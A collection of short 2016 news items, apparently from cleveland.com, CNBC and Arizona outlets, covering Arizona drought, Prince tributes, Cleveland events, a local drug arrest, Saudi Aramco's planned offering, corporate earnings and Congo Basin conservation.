Climatologists also are looking at the Indian Ocean, which was warmer than it ever has been, Crimmins said. Scientists think increased convection from that area of the ocean could have warped the jet streams normal path, he said. A climate change-driven warming in sea surface temperatures across the globe, and the related increase in moisture evaporating into the air, could be messing with things as well, Crimmins said.

There also was the presence of an upper level high pressure that settled like a bullseye over Arizona this winter, forcing storms that would have hit the state to move north into Utah and Colorado instead, said Randy Cerveny, a professor of geographical sciences at Arizona State University. Usually, that ridge of high pressure is located over Mexico, so figuring out why it didnt migrate as far south as it usually does will be a big focus of future climate research in the Southwest, Cerveny said.

Drought on top of drought

Looking ahead to next year, its not looking good moisture-wise for Arizona. Climate forecasts for next November, December and January show a more than 70 percent probability of a La Nina event in which ocean waters in the Pacific are cooler than normal. For Arizona, La Ninas are very reliable indicators of winter being dry, Crimmins said.

The physics make sense because all the warm Pacific Ocean water ends up getting exhausted, so then the cooler waters fall back in, he said.

Without the relief of El Nino moisture, short-term drought has merged with long-term drought that began in the mid-1990s and never went away.

Now we have double drought, Crimmins said, and that has impacts on everything from tree mortality to ephemeral spring flows.

Longer term climate models show temperatures warming in the Southwest, with summer temperatures climbing the most dramatically  6 to 11 degrees by 2070 to 2099.

Crimmins said a silver lining of this years failed El Nino forecast is it reinforces an important longer term message about Arizonas climate.

We have to plan for droughts, and we have to lower our expectations for water here in Arizona, he said. We're not going to have any bailout years.
wesmoon.JPG

"Moonrise Kingdom" costume anyone? It could win a prize at the Greenhouse Tavern Wes Anderson party.

(Focus Features)

CLEVELAND, Ohio - Wes Anderson is having a birthday next week - and the Greenhouse Tavern in Cleveland is throwing a party for Hollywood's quirkiest movie director.

No, Anderson won't be there, but Chef Jonathon Sawyer wanted to do something to honor his favorite director and treat fellow fans. For the second year in a row, the Greenhouse Tavern will celebrate Anderson's birthday on May 1 - coincidentally also Sawyer's birthday - with an all day and night party with film-inspired costumes, themed food and drink menus and celebrations on the rooftop and patio. There will be a costume contest and Anderson movies and soundtracks will play throughout the day.

The food menu is still being finalized, but three special Anderson cocktails have been crafted:

Mr. Fox - apple juice & bourbon blend

The Submarine - Aperol fizz

Dear Suzy - Old Fashioned

Plus, pastry chef Elizabeth Rzoska is creating a special "The Royal Tenenbaums" themed cake.

"Ever since Chef Sawyer saw 'Bottle Rocket' in high school, he's been a diehard Wes Anderson fan. In fact, all of us at The Greenhouse Tavern are fans, so we want to bring the community together to throw a special birthday party honoring his films," says Mary-Ellen Jones, Beverage and Events Director at the Greenhouse Tavern. "This is our second year celebrating Wes Anderson Day at the restaurant, and we expect it to be an even bigger celebration!"

The Greenhouse Tavern is at 2038 East 4th Street. Call 216-443-0511.
Prince

Prince performs during the halftime show at Super Bowl XLI at Dolphin Stadium in Miami, Sunday, Feb. 4, 2007.

(Alex Brandon)

CLEVELAND, Ohio - Radio stations, movie theaters, clubs and local radio will pay homage this weekend to Prince, the Rock & Roll Hall of Famer found dead in an elevator at his Paisley Park compound near Minneapolis on Thursday.

An overwhelming outpouring of affection by fans has resulted in a second screening of the 1984 movie "Purple Rain" being added at the Cedar-Lee Theater (2163 Lee Road, Cleveland Heights) for Thursday, April 28. Prince enthusiasts rapidly bought out the planned 7:30 p.m. showing even after a second theater was added to satisfy the demand. The second screening will be at 10 that night.

The Twist Social Club is having a "Purple Rain" dance party starting at 11 p.m. Friday at the club at 11633 Clifton Blvd., Cleveland. There is no cover charge.

Cindy Barber of the Beachland Ballroom and Tavern is hosting a special Sunday Prince tribute brunch this week featuring Prince and Prince-written tunes from 10 a.m. to 3 p.m., with Music Saves DJ Melanie. Fans are encouraged to wear their best purple attire.

WRUW-FM/99.1 personalities Bridget Ginley Brian Bordon (The Counselor) and Patty Marvel will be doing Prince tributes on their respective radio shows this 6 p.m. to midnight Sunday.

It's "Let's Go Crazy Next Friday Night,'' at 8 p.m. April 29, as the Lorain Palace Theater opens its doors to celebrate the life and music of Prince with a showing of "Purple Rain.'' Doors open at 7 p.m., and admission is $5.

Phantasy Concert Club, 11802 Detroit Ave., Lakewood, will present a program "In Memory of Prince" featuring DJs Tim Smith and Guy Wires playing music and showing videos starting at 9 p.m Saturday, May 7.

Saturday night the Luxe Kitchen & Lounge 6605 Detroit Ave., Cleveland, is hosting Purple Forever Party at 9 p.m. DJ Red-I will play all Prince inspired jams. Best dressed wins a $100 Luxe gift card.
CLEVELAND, Ohio -- Driving on E. 55th Street, you might come across a large building with a mysterious name written over the double doors: The House Of Wills.

Built in 1905 by local architect Fredrick W. Striebinger, it was originally a German social club. It went on to house a speakeasy, a hospital and the Cleveland Hebrew Institute before being purchased by John Walker Wills, who transformed it into a funeral home.

Mr. Wills ran the business until his death in 1971. It functioned not only as an extravagant desegregated funeral home, but as a headquarters for the Civil Rights Movement.

The building was finally left abandoned in 2005, until 2010, when Eric Freeman purchased the property to save it from further ruin and intent on restoring it for future generations to use the space.

Those interested in touring the House Of Wills can sign up for group tours. For information, contact HouseOfWillsPhoto@gmail.com

Odd Ohio is a new bi-weekly cleveland.com series where we visit the odd, off-beat and indefinable places in Northern Ohio.
Obit Prince

Shanika Haynes, looks at the Prince star and memorials as she carries her sleeping baby King Haynes,outside First Avenue, Friday, April 22, 2016 in Minneapolis.

(Elizabeth Flores)

CLEVELAND, Ohio - In a way, it all seems a bit strange.

Facebook and Twitter feeds flooded with tributes. People sitting on sidewalks crying. Fans rushing to take photos of any memorial they can find, as if it's the last piece of the man they can hold on to.

Despite Prince being one of the most reclusive pop icons in history, his death shook the world. It doesn't matter that, aside from his family and tight inner-circle, Prince was far from an everyday fixture in anyone's life.

He performed here and there without much promotion (He didn't really need it). He would occasionally show up at award shows to bask in the glory of the mystique he so brilliantly created. When Prince did release music, it was in disconnected ways through his website or exclusively on Tidal.

Yet, millions of fans have mourned Prince like he was a member of their own family. The same could certainly be said for David Bowie, another icon who'd become less active as he got older, but whose death proved devastating.

Bowie released just two albums during the past decade and hadn't done a full blown tour in 12 years. Still, upon hearing of his death in January, fans flocked to social media, record stores and the Rock and Roll Hall of Fame to mourn a man who blessed them with some of the greatest music ever made.

Part of it has to do with a sense of familiarity. Most of us can count the friends we've known for most, if not all of our lives on one or two hands. But anyone born during the 1970s or after has known Prince and Bowie for what seems like forever.

From a personal standpoint, I first discovered Prince on weekly visits to my aunt's house during the early 1990s. She and my father would watch VH1 or MTV, where videos for "Cream," "7" and "Diamonds and Pearls" were mainstays. My aunt even had a poster of the Love Symbol hanging above her television.

I discovered Bowie around the same time, driven by the curiosity of Vanilla Ice's "Ice Ice Baby" and the controversy of its sample. I soon found my way to "Under Pressure," which led to all things Bowie.

Over the course of dozens of albums and compilations, these artists wowed us. They turned us on, shocked us and made us feel things we haven't felt before.

They created a mystique, but occasionally let us peak inside of it, whether it was expressing self awareness, loss or unveiling their political and social views at just the right times.

Prince performs during the halftime show at the Super Bowl XLI football game at Dolphin Stadium in Miami on Sunday, Feb. 4, 2007.

Prince and David Bowie oozed with love and passion. When they sang love songs, it seemed like they were singing to you. When they pointed into the crowd during a performance, you'd swear they were singing directly to you.

They became our friends; ones we could count on time and time again. That's how you sell millions upon millions of records, while rarely giving interviews to promote them.

The other part of the passionate mourning we've seen for musicians like Prince and Bowie comes less from who they were and more from what they represented.

They were artists who were brave enough to do things the way they wanted to on the grandest of scales and in the face of controversy. They may have removed themselves from the public eye to some extent, but their brilliance never faded.

They represented something we could likely never become, but nonetheless were energized to reach for. Both Bowie and Prince seemed like they were from another planet. But, oh, did we want to live there.

That's what makes their deaths so stunning and painful. These weren't young artists who fell victim to emotional struggles or violence. These were men who accomplished so much during their lifetimes they seemed to be invincible.

Early reactions to Prince's death were mostly disbelief: "Prince can NOT be dead." It's even harder to believe a day later. Yet, while its sad they're gone, perhaps now we can truly connect with them on a more authentic level.

David Bowie and Prince were music gods, who, in death, proved to be human just like the rest of us. In that sense, they're all the more real and all the more worthy of our love and admiration.
MENTOR, Ohio -- Three people were arrested Tuesday after Mentor police detectives discovered a suspected meth lab in a garage.

Duane Pascale, 35, of Mentor; Crytstal Ann Zsaludko, 26, of Cleveland; and Allyson C. Fagel, 38, of Mentor are all charged with illegal manufacture of drugs.

Detectives monitored the Murray Avenue house after receiving a tip that the three might be making meth, Mentor Sgt. Richard Slovenkay said.

Two children lived in the house but were not at home when detectives arrested the trio. Detectives notified Lake County Job and Family Services and the children are now living with relatives, Slovenkay said.

Detectives arrested the trio just after 2 p.m. after seeing Pascale and Zsaludko loading materials used to make meth into a car, Slovenkay said.

Zsaludko and Fagel were arrested at the house after Pascale left in the car.

An officer stopped Pascale's car on Mentor Avenue, but he drove away when the officer approached his car. The officer did not give chase, Slovenkay said.

Pascale crashed into a fence near Dogwood Lane. A K-9 officer was used to track him to nearby woods where he was arrested without incident.

Pascale is also charged with drug possession, drug paraphernalia possession, possessing criminal tools, carrying concealed weapons, a hit-skip violation, reckless operation, driving without a license and failure to control, court records show.

Fagel is also charged with drug paraphernalia possession.

A Mentor Municipal Court judge on Wednesday set bond at $180,000 for Pascale and $125,000 for Zsaludko and Fagel, court records show.

The three are scheduled to appear at preliminary hearings April 28.

If you wish to discuss or comment on this story, please visit our crime and courts comments section.
In honor of National Parks Week and its own centennial, the National Park Service is offering free entry to national parks across the country. For everyone who can't skip out of the office to take advantage of the deal, there's a way to still soak up the views, if only virtually.

In the latest development of its Street View technology, Google is going off-road. Using what it calls Street View Trekker, the company strapped its image-capturing technology onto a backpack system, then set employees out across the trails of Grand Canyon National Park. The final product is a series of 360 degree, zoomable images of the canyons plunging drops and dramatic views.

To see the view for yourself, go to Googles designated page for the Grand Canyon here. Like what you see? Google's cameras have captured dozens of other national parks and historic sites too. Check them out here.
PHOENIX -- A veteran state lawmaker is working with utilities to undermine a voter initiative that would block electric companies from imposing new charges on its customers who also generate their own power.

Sen. Debbie Lesko, R-Peoria, said she is working to put an alternative to that initiative on the November ballot. She told Capitol Media Services she is still crafting the language with utility officials and others.

But Lesko said her goal is to cement in the Arizona Constitution the right of state utility regulators -- who for the moment all happen to be Republicans like her -- to determine how much electric companies can charge their solar customers.

The move comes less than a week after former state utility regulator Kris Mayes unveiled an initiative drive to curb the power of the commission to let utilities increase charges on solar customers.

Lesko is powerless to stop Mayes and the solar interests financing that effort from trying to gather the more than 225,000 signatures necessary to put the issue on the November ballot. But what Lesko can do, she said, is provide voters an alternative.

There is one big difference, though.

Lesko wants the Republican-controlled Legislature to help her cut some corners by referring the measure to the ballot itself. That saves the utilities who will be helping to craft it the cost of gathering the signatures.

She makes no apologies for that.

"You have out-of-state billionaire rooftop solar leasing companies that are trying to circumvent our elected five-member corporation commission to set the rates so that they get a good deal locked into our Arizona Constitution," Lesko said. "It's just unconscionable how greedy these people are."

Mayes, however, said the utilities are the ones who are being greedy in not wanting to lose profits from selling power for their shareholders.

She said if the utilities want to put their own plan up for a public vote they should do it "the honest and difficult way, which is to go out and get 225,000 signatures from Arizonans to get the measure on the ballot." Mayes said the companies are getting lawmakers to do the work for them because they know "the measure is so unpopular."

But Mayes, while believing voters will reject the alternative, said there is a harm of having the Legislature put a second measure on the ballot. She said it's designed to confuse voters.

"It's an old ploy," she said. Mayes said the fairest -- and cleanest way -- of debating the issue would be an up-or-down vote on her initiative, without the distraction of something else.
But analysts expect the plan, to be unveiled Monday, will be light on details and still unclear in how it will be implemented.

One Saudi watcher said the goal would be to create the millions of jobs over a number of years across several sectors in a newly diversified economy. That may even include a plan to turn Saudi Arabia into a global logistics hub between Asia and Europe.

Deputy Crown Prince Mohammad bin Salman has been shaking up Saudi Arabia with efforts to reform the economy and his goal of turning it into a force in the world economy  beyond oil. As the favorite son of King Salman, he has responsibility for the economy and with that the most powerful pieces of the Saudi portfolio  the military and the energy sector.

On Monday, the prince is expected to lay out his "vision" to move Saudi Arabia to a diversified economy, less dependent on oil and better able to employ its citizens. As part of that, details are expected on his proposal to sell a stake in Saudi Aramco and the creation of a monster $2 trillion sovereign wealth fund. Bin Salman also wants to move the country off a system of giveaways and has already pared back subsidies for electricity, fuel and water.

"I think he's smart to be talking about these things," said Bruce Riedel, director of the intelligence project at Brookings and former CIA national intelligence officer for the Middle East.

About 70 percent of the population of Saudi Arabia is under 30, and more than 30 percent of that is unemployed. Five million new jobs would mean one new job for roughly every six people in the country.

Riedel said he expects to see just the outline of a plan. "They will announce a cautious series of reforms, including opening up Aramco a little bit. They will announce probably some cutbacks in subsidies." He said it's unclear whether there will be any further detail on the sovereign wealth fund yet.

"They're talking about 5 percent of Aramco. That's modest. ... There's the problem: transparency in the Saudi oil industry. Immediately that's going to start raising questions about where do the profits go. We know the profits go to the king and other senior royals."



Riedel noted that the late King Abdullah was one of the richest men in the world. "How much of the reality of how Saudi oil works does the family want to put out? And if you are going to encourage foreign investors, and you get the truth out about how this works, are you going to encourage investment or discourage investment? The family is well aware that the welfare state is what builds support for the kingdom."

Read MoreWhat's Saudi Arabia playing at over oil?

Investors are interested in seeing what pieces of Aramco will be sold to the public and how the offering will be structured. But details are expected to remain sketchy for now.

"They're waiting to see if Saudi Arabia has the capacity to execute this grand vision," said Helima Croft, global head of commodities strategy at RBC Capital Markets.

Croft described Aramco as the best run of the world's national oil companies. "If Saudi was like Aramco, it would function well. It is seen as a center of technocratic excellence for the country," she said.

Since the sharp drop in oil prices, Saudi Arabia has been running deficits and has dipped into its foreign reserves to cover shortfalls. It has also floated debt, and this week it borrowed $10 billion from a consortium of global banks in its first international loan deal in a quarter century. The bank deal was seen as a step toward an international bond deal. Prior to the oil price collapse, Saudi Arabia needed about $100 a barrel to meet its budget, and that number has only dipped slightly.

Read MoreSaudi Arabia borrows $10 billion

Bin Salman has a great deal invested in the plan to broaden the kingdom's revenue base while reducing unemployment and curbing subsidies. Second in line to the throne, he has been seen as a rival to his cousin, Crown Prince Muhammad bin Nayef, the heir apparent to 80-year-old King Salman.

"I think about this transformation plan. It makes him the center of everything. It really does make him the most powerful person in that country," Croft said.

Read MoreSaudis threaten $750 billion asset sale, but experts question it

Bin Salman has been seen as acquiring more power than his cousin, but he's viewed as unpredictable.

"I think the longer this goes on, the more time he has to entrench himself, the more power he amasses, the more he becomes inevitable. I find his political skill craft genius. Just the sheer ability to consolidate power with tremendous speed. He's like Frank Underwood on steroids," said Croft, referring to the central figure in Netflix's "House of Cards," who schemed his way into the presidency.

Bin Salman is different than other Saudi leaders in that he was educated in the kingdom. He wears traditional dress and is popular with young Saudis.

"They see in Mohammad bin Salman someone of their own generation moving up the ladder very quickly. He has a certain degree of popularity. He's also grated a lot of people in the family who see him as abrasive, inexperienced, undisciplined, impulsive," said Riedel. "In the long run, the way Saudi Arabia works is it's more important to be important in the family than it is in the street. This is an absolute monarchy."

The Aramco sale is reportedly expected to raise about $100 billion, making it the largest public offering ever. Bin Salman, interviewed at length by Bloomberg, said Saudi Arabia is considering a dual listing for the oil giant. The prince was reported as saying Aramco would become a holding company with stakes in its subsidiaries, but it would not manage them. The remaining Aramco stake would be transferred to the country's sovereign wealth fund, making it the largest with an estimated $2 trillion in assets.

"You may not even see numbers. You may just get a broad description," said Anthony Cordesman of the Center for Strategic and International Studies. "I think again until you see the specifics, diversifying the economy is fine, but can you do it at the numbers, the rate and the profitability assumed?What are the details and how will it actually work? A lot of these announcements could be very broad and vague."

Cordesman said the phrasing of the prince's message will be very important. "He's had a very good group of advisors. These plans are as much political as financial," said Cordesman.

While some view Saudi Arabia as desperate, Cordesman said its actions have been deliberate.

"Desperate is very different from taking preventative measures that run down assets and can incur debt," said Cordesman. "Saudi Arabia has actively supported counter-cyclical budgeting. They try to anticipate risks in bad years. You have people projecting numbers out and the official Saudi numbers aren't that bad. The cut in ratings was negligible but it was a cutback. I think you are watching a vast amount of financial pressure on oil exporters. Saudi Arabia is probably less badly impacted than most."



Oppenheimer energy analyst Fadel Gheit said he is skeptical that investors will see the transparency they would like when Aramco ultimately comes to market. "It's going to be an enigma surrounded by secrecy," he said. "Why would I invest in Aramco, if I could buy Shell, BP where there's democracy, transparency." Gheit said he doubts much information on Aramco compensation or capital spending authorization would become public.

"The reason they want to do this IPO is it will give them another window in the global capital markets," he said. "I do not take this as a sign of a healthy economy."

The kingdom has named JP Morgan and Michael Klein as advisors on the Aramco deal.

Read MoreThis Saudi millennial could scuttle oil deal






Aussies have some of the world's highest debt levels, and property prices are finally cooling. But investors fearing a U.S-style credit crisis needn't worry, according to a new report from HSBC.

As Canberra reoriented economic growth away from mining and towards services, a housing construction boom began, leading to a 30 percent increase in home prices since mid-2012 and making Australia one of the world's least affordable property markets. As a result, the household debt-to-income ratio jumped from 167 percent in 2011 to 186 percent in 2015, HSBC said.

"This makes Australian household debt levels amongst the highest in the developed world."

The rise in home prices slightly softened the household debt-to-asset ratio, which fell from 24 percent in 2011 to 22 percent in 2015. But as the market beings to cool, that raises questions about the sustainability of household debt, the bank said.

National housing prices have been steady over the past six months, with the slowdown most reflected in major cities. In Sydney and Melbourne, prices have been flat since October, following annual average growth of 10 and 6 percent respectively, over the previous four years, HSBC noted.
Wall Street turned on four of its longtime favorite stocks following earnings on Thursday. Suddenly, companies that have been remarkably consistent hit speed bumps and created what Jim Cramer described as a "bizarre earnings season."

"What we really have in each case is a set of expectations created by stocks that have been moving up consistently expectations that were too much for each of these companies' managements to muster," the "Mad Money" host said.

Google-owner Alphabet , Visa , Microsoft and Starbucks all reported earnings Thursday, and in each case the market pronounced the quarters subpar and sent the stocks tumbling after hours.

Still, Cramer noted that each of those stocks had a magnificent run.
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Wall Street turned on four of its longtime favorite stocks following earnings on Thursday. Suddenly, companies that have been remarkably consistent hit speed bumps and created what Jim Cramer described as a "bizarre earnings season." "What we really have in each case is a set of expectations created by stocks that have been moving up consistently expectations that were too much for each of these companies' managements to muster," the "Mad Money" host said. Google-owner Alphabet , Visa , Microsoft and Starbucks all reported earnings Thursday, and in each case the market pronounced the quarters subpar and sent the stocks tumbling after hours. The only problematic miss, in Cramer's perspective, came from Alphabet, which simply failed to deliver on both the top and bottom line. After a series of better-than-expected earnings and sales that fueled the stock higher, its 17 percent top-line growth just wasn't enough. "The darned thing was priced for perfection, and we didn't get it. So, it is getting clobbered," Cramer said. Read More Cramer: Alphabet, Microsoft could climb back up



Eric Raptosh Photography | Getty Images

Starbucks shares tumbled 4 percent in after-hours trading on Thursday following earnings that missed Wall Street expectations. "Without a doubt, every business segment contributed to our performance. It was a record quarter for us," Starbucks President Kevin Johnson told Cramer "And I think in every business there is just a great story underlying those numbers." While Starbucks reported in-line earnings on slightly weaker than expected revenue, its 6 percent same-store sales growth was slower than anticipated. "We posted 6 percent increase in comps globally, but if you go region by region, there is a story under each of those regions," Johnson said. Read More Starbucks president: 'It was a record quarter'

Cramer believes that the world is getting better, thanks to a rebound in China. Apparently, Las Vegas Sands did not get the memo, when it told a tale of woe in its conference call about Macau. "What this market really needs right now is for Steve Wynn, CEO of Wynn Resorts , who also has a ton of Macau exposure, to say that Las Vegas Sands doesn't know what it is talking about," Cramer said. Read More Cramer: LVS doesn't know what it's talking about



Starbucks staff make coffee behind counter. Starbucks already has nearly 2,000 stores in mainland China and plans to have 3,400 by 2019, laying the groundwork for Chinas next boom. Zhang Peng | LightRocket | Getty Images
In an era when craft beer drinkers are crazy about India Pale Ales, one North Carolina brewery has gone to extremes to deliver what its fans want. Foothills Brewing in Winston-Salem created an IPA of Month series, brewing a different one each month for two straight years. The inspiration came from its president, Jamie Bartholomaus, and Brewmaster T.L. Adkisson.

"They are hopheads and they love IPA, and they wanted to do something that was outside the box in terms of IPAs," said Ray Goodrich, director of marketing and communications for Foothills Brewing. "Nobody was doing a different one every month, so they said let's give it a shot."





Foothill Brewing Source: Foothill Brewing

So the brewery started from scratch with a new IPA recipe each month. While finding inspiration for new recipes wasn't an issue, getting the required hops proved to be a consistent challenge, said Goodrich. But it didn't prevent the project from quickly growing in scope. "We started making 15 barrels a month, and we're now up to 90 barrels a month. We've basically quadrupled production since we've started," he said.

Goodrich was tasked with the challenge of coming up with a new name and label for each release, while artist Kyle Webster designs and draws the label artwork, which makes for a tight turnaround each month. "You can't rush art and this was all work Kyle was creating for us on a monthly basis," Goodrich said. "It was a grind because we were right up against the deadline to get the labels produced and printed."

Naming 12 different beers was a challenge, so Foothills came up with the idea of a series of names and labels inspired by classic World War II-era calendar pin-up girls so that rather than naming each beer, fans would name the girl of the month via submissions on Facebook. "It was a very classy, throwback-style look," said Goodrich. "We had at our peak, probably six or seven-hundred people sending in names each week."

Feeling the pin-up girl idea was played out after the first year, Foothills found inspiration for the next year in its unofficial brewery dog, Barley. It held an online contest where it asked fans to send pictures of their dogs for consideration to be on labels for the IPA of the Month series in 2015. In addition to putting a dog (in cartoon form as drawn by Webster) on the label each month, Foothills would also make a donation to a rescue shelter in the winning dog's community each month.

Source: Foothills Brewing

Thinking they'd get a couple hundred entries, Foothills received more than 1,500 submissions from across the country and as far away as Finland, including one from actor and beer enthusiast Wil Wheaton, whose rescue dogs were ultimately featured on the July label. The only thing Foothills Brewing fans seemed to enjoy more than naming each IPA of the month release were the IPAs themselves. Despite the brewpub being the only place to buy IPA of the Month bottles for the first year of the series, the beers sold out quickly. "Of the 24 IPA of the Month (brews) we did, there was only one I can think of that was left at the end of the month," said Goodrich. "And we kept increasing the amount each month, and it just kept selling out."
"Without a doubt, every business segment contributed to our performance. It was a record quarter for us," Starbucks President Kevin Johnson told Jim Cramer on " Mad Money ." "And I think in every business there is just a great story underlying those numbers."

Starbucks shares tumbled 4 percent in after-hours trading on Thursday following earnings that missed Wall Street expectations.

Starbucks staff make coffee behind counter. Starbucks already has nearly 2,000 stores in mainland China and plans to have 3,400 by 2019, laying the groundwork for Chinas next boom.

While Starbucks reported in-line earnings on slightly weaker than expected revenue, its 6 percent same-store sales growth was slower than anticipated.

"We posted 6 percent increase in comps globally, but if you go region by region, there is a story under each of those regions," Johnson said.



Read more from Mad Money with Jim Cramer



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The increase in sales were driven mainly by sales in the U.S., which helped to offset slower growth of 1 percent in Europe.

"This is not the first time Starbucks has run into a speed bump, and in the past, whenever the stock has pulled back it has been a buying opportunity," Cramer said.
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"If you were devising a company, which was in the dark side, Valeant would be it," Aswath Damodaran, a professor of finance at New York University's Stern School of Business, told CNBC on Thursday. Still, the investor recently bought shares of the company, which has been under fire recently. Popularly known as the "dean of valuation," Damodaran told CNBC that he recently purchased the stock at $32 a share, but he believes its true value $43 a share, 34 percent higher. "In every conceivable way this looks like a bad company, but at the right price, even a bad company could be a good investment," he said in an interview with "Closing Bell." Valeant's problems include losing credibility with investors, delaying its financial filings and have a board of directors in "flux," he said.

While he doubts that Valeant can return to being the "roll-up monster" that it was prior to September 2015, it'll be a "traditional pharma company with fairly significant eye care and cosmetics arm," he said. Valeant Pharmaceuticals is down 67 percent year-to-date and has plunged 84 percent in the past year. Jim Grant, a long time Valeant bear, told CNBC in March that the company has an "existential threat to solvency," because of its accounting procedures and filing issues. That very same month, Valeant released a statement warning investors that it was at risk of defaulting and filed unaudited earnings in place of its annual comprehensive overview. "The overall business model was more than dubious, and now it's actually shattered," Grant said, as he told CNBC he doubts the company could make a comeback.


An American Airlines plane takes off at the Miami International Airport.

While American's fuel bill dropped by one third, its revenue fell, as well.

American, the world's largest airline, said income fell about 25 percent to $700 million, in part because it recorded additional non-cash taxes. Excluding special items, it earned$1.25 per share, above analysts' average estimate of $1.19 per share, according to Thomson Reuters I/B/E/S.

American Airlines reported a first-quarter profit on Friday that exceeded analysts' expectations as cheap fuel boosted its bottom line.

The Fort-Worth, Texas based airline said extra flights by rivals, soft demand for Latin America travel and the diminished value of foreign sales in dollar terms pushed down passenger unit revenue 7.5 percent from a year ago.

However, a smaller dip of 2.1 percent in the closely watched financial measure for trans-Atlantic flights was encouraging, Sterne Agee CRT analyst Adam Hackel said.

Rival Delta Air Lines Inc had warned last week that average fares on European trips were continuing to fall as carriers across the Atlantic operated flights in excess of demand. Recent attacks in Brussels and Paris have also risked discouraging summer trips by U.S. vacationers.

American's shares were up 1 percent in premarket trading. (Get the latest quote here.)
Paul Mitchell and Patron Tequila have two things in common: John Paul DeJoria and his commitment to sustainability. "We feel that success unshared is failure and giving back is part of business," DeJoria told CNBC.

His goal is to make sure his businesses are "extremely environmental, animal and human friendly." As part of his endeavors, the Paul Mitchell Tea Tree Drive has planted more than 340,000 trees in order to offset the company's carbon footprint. Patron Tequila is bottled in recycled glass. The spirits maker also filters the distillage created in the tequila making process so that it can be used as fertilizer.
The market pressure felt in China in the first quarter of the year, as well as in Russia, has "definitely" impacted the European jewelry market, the co-founder of 77 Diamonds told CNBC.

"Globally what we've seen is that although diamonds have outperformed a lot of other commodity asset classes, the performance within the European market has been relatively stable and demand has dropped and prices have been a bit subdued," Tobias Kormind said.



This contrasts with the steady rise the diamond market has seen in the past decade, he told CNBC, where "white diamonds have performed at 50 percent returns and more rare elements like colored diamonds, they're up 160 percent. "



Colored diamonds  including yellow, red, pink and blue ones, are "so incredibly rare - you can compare them to rare paintings from the great masters," said Kormind, explaining that there are only approximately 100 certified red diamonds in the world.


Shares of Valeant Pharmaceuticals gained nearly 8 percent Friday, a spike justified if reports about the company poaching Perrigo's Joseph Papa are true, CNBC's Jim Cramer said.

"If it's Joe Papa from Perrigo, then this stock deserves to be trading up," Cramer said on "Squawk on the Street." "This is a guy who is a stable-stable guy."

"He steered that Perrigo ship into doing some remarkable things. He knows the generic [drug] business." he said.

The Wall Street Journal reported Thursday that Valeant had reached a deal with Papa, Perrigo's CEO, to become its new chief executive. Reuters later reported, citing a source familiar with the matter.
As the world celebrates the 46th annual Earth Day on Friday, a major study shows that illegal activities including logging and mining are taking place in some of the planet's largest protected conservation areas. The new Rainforest Foundation report - "Protected Areas in the Congo Basin: Failing both People and Biodiversity"- shows that despite the millions of dollars in international support spent on conservation efforts in equatorial Africa in recent years, biodiversity continues to dwindle and hardly any funds go toward actually protecting the rainforest. In fact, up to $500 million aimed to protect the world's second-largest rainforest, which is spread over five African countries including the Democratic Republic of the Congo, Cameroon, Gabon, Central African Republic and the Republic of Congo, appears to have had little to no impact.

"It's difficult to track down where it goes to," Simon Counsell, executive director of Rainforest Foundation UK and co-author of the report, told CNBC in a telephone interview. "There needs to be more transparency about where the money is going international donors and their recipients need to make funding more transparent and more importantly show how effective it's been." According to Counsell, there is little evidence that more than a tiny percentage goes to communities or community-based organizations. "More funding needs to be put toward local communities, for clean water, education and health care," he told CNBC.

The conservation efforts have also displaced villages and led to conflict and human-rights abuses. During 18 months of on-the-ground interviews, local communities living in and around national parks in the Congo told researchers that they mostly saw heavy-handed policing by eco-guards as a threat to their rights and their livelihoods.

Indigenous Pygmy communities suffer the most, said Counsell. Some of the issues get really complicated, "down to racial and ethnic lines," he explained. "The relationship between forest peoples and conservationists is largely conflictual," according to the report, "There is little evidence that the 'guns and guards' approach to protected areas is being effective."

Deforestation in Liberia Anne Chaon | AFP | Getty Images

Communities around the protected areas said they were disproportionately targeted for hunting, particularly at the hands of park rangers. Such abuses were generally associated with aggressive anti-poaching policing; local communities are seen as easier to target than the criminal networks driving commercial hunting  mostly for illegal ivory trade purposes. Poaching also persists widely, with large mammal populations such as elephants, gorillas and chimpanzees "declining at alarming rates."

Of the 34 protected areas examined for the report, 62 percent have mining concessions inside, 39 percent have oil concessions inside, and one reserve has three logging concessions within its boundaries. A further 68 percent have logging concessions directly bordering the park.

"International donors need to rethink how they're funding these projects," said Counsell. "We should stop establishing new protected areas and replicating problems from the past and start working with the existing communities."




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Donald Trump may be the only Republican presidential candidate who can realistically hit the magic 1,237 number for the majority of delegates, but according to a senior Republican National Committee official that does not mean he will become the GOP presidential nominee. Curly Haugland, a longstanding RNC official and an unbound delegate from North Dakota who will be on the convention rules committee in July, told CNBC that attaining 1,237 during the primaries does not secure the nomination. "Even if Trump reaches the magic number of 1,237 the media and RNC are touting, that does not mean Trump is automatically the nominee," Haugland said. "The votes earned during the primary process are only estimates and are not legal convention votes. The only official votes to nominate a candidate are those that are cast from the convention floor."

Supporters cheer for republican presidential candidates Donald Trump Jabin Botsford | The Washington Post | Getty Images

Haugland explained the primary number is really an estimate. That's because the eligibility of some delegates in how they are voted in could be questioned and their status may not be considered valid, Haugland said. "Remember every state has a different delegate allocation process," he said. "Delegates are picked up in state contests that can be winner take all, open primaries, and remember there are seven states that allow the candidates to pick their own delegates. Until those delegate challenges are settled, there is no 1,237." Haugland said he expects the delegates won in winner-take-all states to be most likely challenged.


The S & P 500 keeps inching toward a new high despite disappointing earnings from big-name stocks like Microsoft and Alphabet . How can that be? One Wall Street strategist has an interesting theory: International investors facing super low  even negative  yields on bonds at home are choosing to park money in U.S. stocks, an asset class they view as able to provide higher returns for relatively low risk. U.S. bond investors are rotating into stocks as well, he said. "Falling yields globally are driving investors into U.S. assets," Fundstrat's Thomas Lee wrote in a note to clients Friday. "U.S. companies tend to be higher quality overall (more blue chips) as well. Hence, we see the case for U.S. assets to reflate, boosting equities." The strategist cited Japan's 10-year bonds trading at a negative yield, German government bonds yielding 0.23 percent and a U.S. 10-year Treasury yield at 1.87 percent as of Thursday. Lee states this is the first time the S & P 500's dividend yield at 2.2 percent is higher than the U.S. 10-year since the 1950s. With such a disparity between global bond yields versus domestic stocks, Lee believes investors will continue to shift toward U.S. equities. Lee also sees the rally in high-yield bonds, up more than 5 percent this year as of Thursday, and high-yield bond ETF flows turning positive since early March as good signs for a further rally in the market. Here are specific stocks the firm recommends in their "stocks are the new bonds" strategy. In terms of sectors, Fundstrat finds the consumer staples average yield at 2.5 percent and utilities yield at 3.4 percent "attractive." For the general market, Lee states the S & P 500 can re-rate to higher multiples due to the "stocks are the new bonds" trend. His current price target for the S & P 500 is 2325, 11 percent upside from Thursday's close. Read More Santelli's charts: Everything is breaking out

Jose Luis Pelaez Inc. | Getty Images
